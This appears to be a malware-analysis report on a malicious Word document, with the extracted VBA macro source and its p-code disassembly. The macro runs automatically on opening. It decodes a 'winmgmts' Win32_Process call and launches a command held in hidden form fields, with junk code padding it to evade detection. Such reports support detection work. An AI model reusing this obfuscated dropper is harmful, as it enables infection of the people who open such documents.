' Coerce (Str) ' Concat ' Paren ' ArgsCall mmUPSPeNPb 0x0001 ' Line #66: ' EndIfBlock ' Line #67: ' StartForVariable ' Ld MsgBox ' EndForVariable ' LitDI2 0x0009 ' LitDI2 0x003B ' For ' Line #68: ' ArgsCall DoEvents 0x0000 ' Line #69: ' StartForVariable …

SHA-256: 5b954e8cc87fc8b132821baee8a2c4572a1db0d7dcc3c22960f5b63c0f9fd1c2

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Aussyxwatwle"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Ocedyxvfo.Gfpkasimu
End Sub

Attribute VB_Name = "Vkeqjgee"
Attribute VB_Base = "0{7C45481B-C975-4AAD-9D11-DC4DCA4F69B0}{83F958E4-58DE-4994-9310-B5D3C48913CF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Obkpqwvbw"
Attribute VB_Base = "0{8EB58A6A-C2F2-46E7-B686-1445154D825D}{CFD07113-5CF8-436C-852E-B510537BB803}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Asfvxuyhyeaju()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Fhpnjbkx"
Attribute VB_Base = "0{1F41FD1E-EEA6-407A-9DB0-7FA865B7FBB4}{83A291E8-2A77-4148-8B52-25948605F285}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Olxpaskdcv()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Amafucaorp"
Attribute VB_Base = "0{64AA340E-FA92-4366-B90B-B17998BFEDE7}{6F84A24E-D6EF-4EE4-BE9A-C6A1B00B9C25}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Rnljsxquajj()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Sympfrzt"
Attribute VB_Base = "0{0D0FD726-DC6E-4F08-BC91-5B3E99B69ACE}{D62E4CCC-9155-435E-8E24-8F0D45A572C2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Dmehhwqty()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Ymhalefnj"
Attribute VB_Base = "0{75C2BCCC-6822-425C-90E9-C4C4A08BD13F}{B71ADEC0-DB47-4DB8-9198-87275003C1C7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Rdbeoymy()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Vghwoqixkqlr"
Attribute VB_Base = "0{A026D65B-38E3-4942-BA19-98C36DA2C748}{244AC807-B650-4171-BAAA-1220A8D9CEE2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Lfoumuflqbva()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Irhzxncf"
Attribute VB_Base = "0{6171B213-3CF2-4906-AE8C-04D2AE3F5977}{ED203B95-5C53-4167-AB93-41AC084F0B23}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Xowpyarz()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Sjjrlzqjq"
Attribute VB_Base = "0{A81A4365-1ADA-4BB1-8C8C-1441BE777678}{55F159C2-F504-4882-A3A8-7E9003E91520}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Nleptilt()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Gfkxyxpnpkvq"
Attribute VB_Base = "0{7304D337-187B-4021-8091-421FB24E2EC2}{7AA2D314-F38B-430E-9530-EA9AFEA044BB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Zhqoyxsotd()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Safsfgeo"
Attribute VB_Base = "0{40AE7B17-81B9-440A-8179-F8DEA5F5891C}{FBEEC655-0F16-4E37-BBC8-E8D82749B340}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ytnbawbw()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Mtqlswuizrmhn"
Attribute VB_Base = "0{E089F6F0-2404-4382-B4B3-20AC9B013E30}{E68D2E05-ED1C-4EC8-BE83-0C4B8F7F6E50}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ohwepljzv()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Ocedyxvfo"
Function Gfpkasimu()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Rxzvessfdhwmi = "}{}{w}{i}{}{n}{m}{g}{}{mt}{}{" + ChrW(Vkeqjgee.Zoom + 9 + 6) + ":}{wi}{}{n3}{}{}{2}{}{_}{}{" + Vkeqjgee.Upnvngcgfd + "r}{}{o}{ce}{s}{}{s}{"
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Hqdpbduzkdp = Vgaagjfhhhgyc(Rxzvessfdhwmi)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Set Xzwqewfzknvbh = CreateObject(Hqdpbduzkdp)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Wzgyidge = Vkeqjgee.Nciuysltzicpv.Tag
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Euaflrqjz = Hqdpbduzkdp + ChrW(Vkeqjgee.Zoom + 9 + 6) + Vkeqjgee.Tzmdhzvysf.Tag + Wzgyidge
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Jusafzigy = Euaflrqjz + Vkeqjgee.Upnvngcgfd
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Set Vtadfoduavrd = Dlxgouwnxcho(Jusafzigy)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Call Xzwqewfzknvbh. _
Create(Aussyxwatwle.NoLineBreakAfter + Devfaksngi + qw2, Tysppstqnhw, Vtadfoduavrd)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

End Function
Function Dlxgouwnxcho(Ywcumaqudcoz)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Set Dlxgouwnxcho = CreateObject(Ywcumaqudcoz)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Dlxgouwnxcho. _
showwindow = Ubbwgqcciyo + Cyntuwyou
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

End Function
Function Vgaagjfhhhgyc(Sxmfukvlgfmib)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Uufjbwnemm = Sxmfukvlgfmib
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Odmwtqiiko = Split(Uufjbwnemm, "}{")
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Cjivsozd = Join(Odmwtqiiko, NoLineBreakAfter)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Vgaagjfhhhgyc = Cjivsozd
End Function
Function Devfaksngi()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

wq1 = Vkeqjgee.Rqmguvwizbko.Pages(0).Caption
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Devfaksngi = Vgaagjfhhhgyc(wq1)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

End Function


' Processing file: /opt/analyzer/scan_staging/94489fa31cca45028f39ae3bbd82156b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Aussyxwatwle - 1900 bytes
' Line #0:
' 	FuncDefn (Private Sub Aussyxwatwle())
' Line #1:
' 	LitDI4 0xD921 0x0001 
' 	LitDI4 0xEC94 0x000A 
' 	Ne 
' 	IfBlock 
' Line #2:
' 	LitDI4 0xD921 0x0001 
' 	LitDI2 0x07C5 
' 	Add 
' 	St Document_open 
' Line #3:
' 	LitDI4 0xEC94 0x000A 
' 	LitDI2 0x07DD 
' 	Sub 
' 	St mnYaLPCBoJ 
' Line #4:
' 	ElseBlock 
' Line #5:
' 	Ld Document_open 
' 	Coerce (Str) 
' 	Ld mnYaLPCBoJ 
' 	Coerce (Str) 
' 	Concat 
' 	Paren 
' 	ArgsCall mmUPSPeNPb 0x0001 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	StartForVariable 
' 	Ld MsgBox 
' 	EndForVariable 
' 	LitDI2 0x0009 
' 	LitDI2 0x003B 
' 	For 
' Line #8:
' 	ArgsCall DoEvents 0x0000 
' Line #9:
' 	StartForVariable 
' 	Ld MsgBox 
' 	EndForVariable 
' 	NextVar 
' Line #10:
' 	LitStr 0x000A "omJDjGORbm"
' 	St aDQW 
' Line #11:
' 	LitDI4 0x6FC9 0x000B 
' 	St eGOgHeluFI 
' Line #12:
' 	Ld aDQW 
' 	Ld eGOgHeluFI 
' 	Coerce (Str) 
' 	Concat 
' 	St aDQW 
' Line #13:
' 	Ld aDQW 
' 	St bmxvRTTBmQ 
' Line #14:
' Line #15:
' 	Ld BAOtZRDjDs 
' 	ArgsMemCall Ocedyxvfo 0x0000 
' Line #16:
' 	EndSub 
' Macros/VBA/Vkeqjgee - 1167 bytes
' Macros/VBA/Obkpqwvbw - 1431 bytes
' Line #0:
' 	FuncDefn (Sub Asfvxuyhyeaju())
' Line #1:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0010 "nsg jjw uujsn bw"
' 	Ld q 
' 	Add 
' 	LitStr 0x0012 "mnn iw dududud oow"
' 	Add 
' 	PrintItemNL 
' Line #2:
' 	EndSub 
' Macros/VBA/Fhpnjbkx - 1429 bytes
' Line #0:
' 	FuncDefn (Sub Olxpaskdcv())
' Line #1:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0010 "nsg jjw uujsn bw"
' 	Ld q 
' 	Add 
' 	LitStr 0x0012 "mnn iw dududud oow"
' 	Add 
' 	PrintItemNL 
' Line #2:
' 	EndSub 
' Macros/VBA/Amafucaorp - 1432 bytes
' Line #0:
' 	FuncDefn (Sub Rnljsxquajj())
' Line #1:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0010 "nsg jjw uujsn bw"
' 	Ld q 
' 	Add 
' 	LitStr 0x0012 "mnn iw dududud oow"
' 	Add 
' 	PrintItemNL 
' Line #2:
' 	EndSub 
' Macros/VBA/Sympfrzt - 1428 bytes
' Line #0:
' 	FuncDefn (Sub Dmehhwqty())
' Line #1:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0010 "nsg jjw uujsn bw"
' 	Ld q 
' 	Add 
' 	LitStr 0x0012 "mnn iw dududud oow"
' 	Add 
' 	PrintItemNL 
' Line #2:
' 	EndSub 
' Macros/VBA/Ymhalefnj - 1428 bytes
' Line #0:
' 	FuncDefn (Sub Rdbeoymy())
' Line #1:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0010 "nsg jjw uujsn bw"
' 	Ld q 
' 	Add 
' 	LitStr 0x0012 "mnn iw dududud oow"
' 	Add 
' 	PrintItemNL 
' Line #2:
' 	EndSub 
' Macros/VBA/Vghwoqixkqlr - 1434 bytes
' Line #0:
' 	FuncDefn (Sub Lfoumuflqbva())
' Line #1:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0010 "nsg jjw uujsn bw"
' 	Ld q 
' 	Add 
' 	LitStr 0x0012 "mnn iw dududud oow"
' 	Add 
' 	PrintItemNL 
' Line #2:
' 	EndSub 
' Macros/VBA/Irhzxncf - 1424 bytes
' Line #0:
' 	FuncDefn (Sub Xowpyarz())
' Line #1:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0010 "nsg jjw uujsn bw"
' 	Ld q 
' 	Add 
' 	LitStr 0x0012 "mnn iw dududud oow"
' 	Add 
' 	PrintItemNL 
' Line #2:
' 	EndSub 
' Macros/VBA/Sjjrlzqjq - 1428 bytes
' Line #0:
' 	FuncDefn (Sub Nleptilt())
' Line #1:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0010 "nsg jjw uujsn bw"
' 	Ld q 
' 	Add 
' 	LitStr 0x0012 "mnn iw dududud oow"
' 	Add 
' 	PrintItemNL 
' Line #2:
' 	EndSub 
' Macros/VBA/Gfkxyxpnpkvq - 1432 bytes
' Line #0:
' 	FuncDefn (Sub Zhqoyxsotd())
' Line #1:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0010 "nsg jjw uujsn bw"
' 	Ld q 
' 	Add 
' 	LitStr 0x0012 "mnn iw dududud oow"
' 	Add 
' 	PrintItemNL 
' Line #2:
' 	EndSub 
' Macros/VBA/Safsfgeo - 1424 bytes
' Line #0:
' 	FuncDefn (Sub Ytnbawbw())
' Line #1:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0010 "nsg jjw uujsn bw"
' 	Ld q 
' 	Add 
' 	LitStr 0x0012 "mnn iw dududud oow"
' 	Add 
' 	PrintItemNL 
' Line #2:
' 	EndSub 
' Macros/VBA/Mtqlswuizrmhn - 1433 bytes
' Line #0:
' 	FuncDefn (Sub Ohwepljzv())
' Line #1:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0010 "nsg jjw uujsn bw"
' 	Ld q 
' 	Add 
' 	LitStr 0x0012 "mnn iw dududud oow"
' 	Add 
' 	PrintItemNL 
' Line #2:
' 	EndSub 
' Macros/VBA/Ocedyxvfo - 11008 bytes
' Line #0:
' 	FuncDefn (Function Ocedyxvfo())
' Line #1:
' 	LitDI4 0xD921 0x0001 
' 	LitDI4 0xEC94 0x000A 
' 	Ne 
' 	IfBlock 
' Line #2:
' 	LitDI4 0xD921 0x0001 
' 	LitDI2 0x07C5 
' 	Add 
' 	St Document_open 
' Line #3:
' 	LitDI4 0xEC94 0x000A 
' 	LitDI2 0x07DD 
' 	Sub 
' 	St mnYaLPCBoJ 
' Line #4:
' 	ElseBlock 
' Line #5:
' 	Ld Document_open 
' 	Coerce (Str) 
' 	Ld mnYaLPCBoJ 
' 	Coerce (Str) 
' 	Concat 
' 	Paren 
' 	ArgsCall mmUPSPeNPb 0x0001 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	StartForVariable 
' 	Ld MsgBox 
' 	EndForVariable 
' 	LitDI2 0x0009 
' 	LitDI2 0x003B 
' 	For 
' Line #8:
' 	ArgsCall DoEvents 0x0000 
' Line #9:
' 	StartForVariable 
' 	Ld MsgBox 
' 	EndForVariable 
' 	NextVar 
' Line #10:
' 	LitStr 0x000A "omJDjGORbm"
' 	St aDQW 
' Line #11:
' 	LitDI4 0x6FC9 0x000B 
' 	St eGOgHeluFI 
' Line #12:
' 	Ld aDQW 
' 	Ld eGOgHeluFI 
' 	Coerce (Str) 
' 	Concat 
' 	St aDQW 
' Line #13:
' 	Ld aDQW 
' 	St bmxvRTTBmQ 
' Line #14:
' Line #15:
' 	LitStr 0x001D "}{}{w}{i}{}{n}{m}{g}{}{mt}{}{"
' 	Ld Vkeqjgee 
' 	MemLd ChrW 
' 	LitDI2 0x0009 
' 	Add 
' 	LitDI2 0x0006 
' 	Add 
' 	ArgsLd Rxzvessfdhwmi 0x0001 
' 	Add 
' 	LitStr 0x001B ":}{wi}{}{n3}{}{}{2}{}{_}{}{"
' 	Add 
' 	Ld Vkeqjgee 
' 	MemLd Zoom 
' 	Add 
' 	LitStr 0x0014 "r}{}{o}{ce}{s}{}{s}{"
' 	Add 
' 	St Gfpkasimu 
' Line #16:
' 	LitDI4 0xD921 0x0001 
' 	LitDI4 0xEC94 0x000A 
' 	Ne 
' 	IfBlock 
' Line #17:
' 	LitDI4 0xD921 0x0001 
' 	LitDI2 0x07C5 
' 	Add 
' 	St Document_open 
' Line #18:
' 	LitDI4 0xEC94 0x000A 
' 	LitDI2 0x07DD 
' 	Sub 
' 	St mnYaLPCBoJ 
' Line #19:
' 	ElseBlock 
' Line #20:
' 	Ld Document_open 
' 	Coerce (Str) 
' 	Ld mnYaLPCBoJ 
' 	Coerce (Str) 
' 	Concat 
' 	Paren 
' 	ArgsCall mmUPSPeNPb 0x0001 
' Line #21:
' 	EndIfBlock 
' Line #22:
' 	StartForVariable 
' 	Ld MsgBox 
' 	EndForVariable 
' 	LitDI2 0x0009 
' 	LitDI2 0x003B 
' 	For 
' Line #23:
' 	ArgsCall DoEvents 0x0000 
' Line #24:
' 	StartForVariable 
' 	Ld MsgBox 
' 	EndForVariable 
' 	NextVar 
' Line #25:
' 	LitStr 0x000A "omJDjGORbm"
' 	St aDQW 
' Line #26:
' 	LitDI4 0x6FC9 0x000B 
' 	St eGOgHeluFI 
' Line #27:
' 	Ld aDQW 
' 	Ld eGOgHeluFI 
' 	Coerce (Str) 
' 	Concat 
' 	St aDQW 
' Line #28:
' 	Ld aDQW 
' 	St bmxvRTTBmQ 
' Line #29:
' Line #30:
' 	Ld Gfpkasimu 
' 	ArgsLd Hqdpbduzkdp 0x0001 
' 	St Upnvngcgfd 
' Line #31:
' 	LitDI4 0xD921 0x0001 
' 	LitDI4 0xEC94 0x000A 
' 	Ne 
' 	IfBlock 
' Line #32:
' 	LitDI4 0xD921 0x0001 
' 	LitDI2 0x07C5 
' 	Add 
' 	St Document_open 
' Line #33:
' 	LitDI4 0xEC94 0x000A 
' 	LitDI2 0x07DD 
' 	Sub 
' 	St mnYaLPCBoJ 
' Line #34:
' 	ElseBlock 
' Line #35:
' 	Ld Document_open 
' 	Coerce (Str) 
' 	Ld mnYaLPCBoJ 
' 	Coerce (Str) 
' 	Concat 
' 	Paren 
' 	ArgsCall mmUPSPeNPb 0x0001 
' Line #36:
' 	EndIfBlock 
' Line #37:
' 	StartForVariable 
' 	Ld MsgBox 
' 	EndForVariable 
' 	LitDI2 0x0009 
' 	LitDI2 0x003B 
' 	For 
' Line #38:
' 	ArgsCall DoEvents 0x0000 
' Line #39:
' 	StartForVariable 
' 	Ld MsgBox 
' 	EndForVariable 
' 	NextVar 
' Line #40:
' 	LitStr 0x000A "omJDjGORbm"
' 	St aDQW 
' Line #41:
' 	LitDI4 0x6FC9 0x000B 
' 	St eGOgHeluFI 
' Line #42:
' 	Ld aDQW 
' 	Ld eGOgHeluFI 
' 	Coerce (Str) 
' 	Concat 
' 	St aDQW 
' Line #43:
' 	Ld aDQW 
' 	St bmxvRTTBmQ 
' Line #44:
' Line #45:
' 	SetStmt 
' 	Ld Upnvngcgfd 
' 	ArgsLd Xzwqewfzknvbh 0x0001 
' 	Set Vgaagjfhhhgyc 
' Line #46:
' 	LitDI4 0xD921 0x0001 
' 	LitDI4 0xEC94 0x000A 
' 	Ne 
' 	IfBlock 
' Line #47:
' 	LitDI4 0xD921 0x0001 
' 	LitDI2 0x07C5 
' 	Add 
' 	St Document_open 
' Line #48:
' 	LitDI4 0xEC94 0x000A 
' 	LitDI2 0x07DD 
' 	Sub 
' 	St mnYaLPCBoJ 
' Line #49:
' 	ElseBlock 
' Line #50:
' 	Ld Document_open 
' 	Coerce (Str) 
' 	Ld mnYaLPCBoJ 
' 	Coerce (Str) 
' 	Concat 
' 	Paren 
' 	ArgsCall mmUPSPeNPb 0x0001 
' Line #51:
' 	EndIfBlock 
' Line #52:
' 	StartForVariable 
' 	Ld MsgBox 
' 	EndForVariable 
' 	LitDI2 0x0009 
' 	LitDI2 0x003B 
' 	For 
' Line #53:
' 	ArgsCall DoEvents 0x0000 
' Line #54:
' 	StartForVariable 
' 	Ld MsgBox 
' 	EndForVariable 
' 	NextVar 
' Line #55:
' 	LitStr 0x000A "omJDjGORbm"
' 	St aDQW 
' Line #56:
' 	LitDI4 0x6FC9 0x000B 
' 	St eGOgHeluFI 
' Line #57:
' 	Ld aDQW 
' 	Ld eGOgHeluFI 
' 	Coerce (Str) 
' 	Concat 
' 	St aDQW 
' Line #58:
' 	Ld aDQW 
